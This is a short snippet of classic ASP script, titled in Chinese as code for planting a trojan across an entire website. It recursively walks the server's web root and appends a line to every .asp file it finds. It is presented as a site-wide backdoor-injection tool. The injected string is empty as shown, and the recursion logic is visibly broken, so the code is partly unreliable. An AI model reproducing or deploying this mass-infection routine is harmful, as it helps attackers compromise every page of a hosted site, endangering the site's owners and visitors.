FSO遍历目录实现全站插马的代码 <% dim ph dim intfile server.ScriptTimeout = 600 ph=server.mappath("/") Sub InsertAllFiles(Path) Set FSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = FSO.GetFolder(Path) Set fc2 = f.files For Each myfile in fc2 If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then Set FS1 = CreateObject("Scripting.FileSystemObject") Set tfile=FS1.opentextfile(path&""&myfile.name,8,false) tfile.writeline "" else InsertAllFiles(newpath) end if tfile.close Next Set fsubfolers = f.SubFolders For Each f1 in fsubfolers newpath=path&""&f1.name InsertAllFiles(newpath) Next set tfile=nothing Set FSO = Nothing End Sub %> <% call InsertAllFiles(ph) %>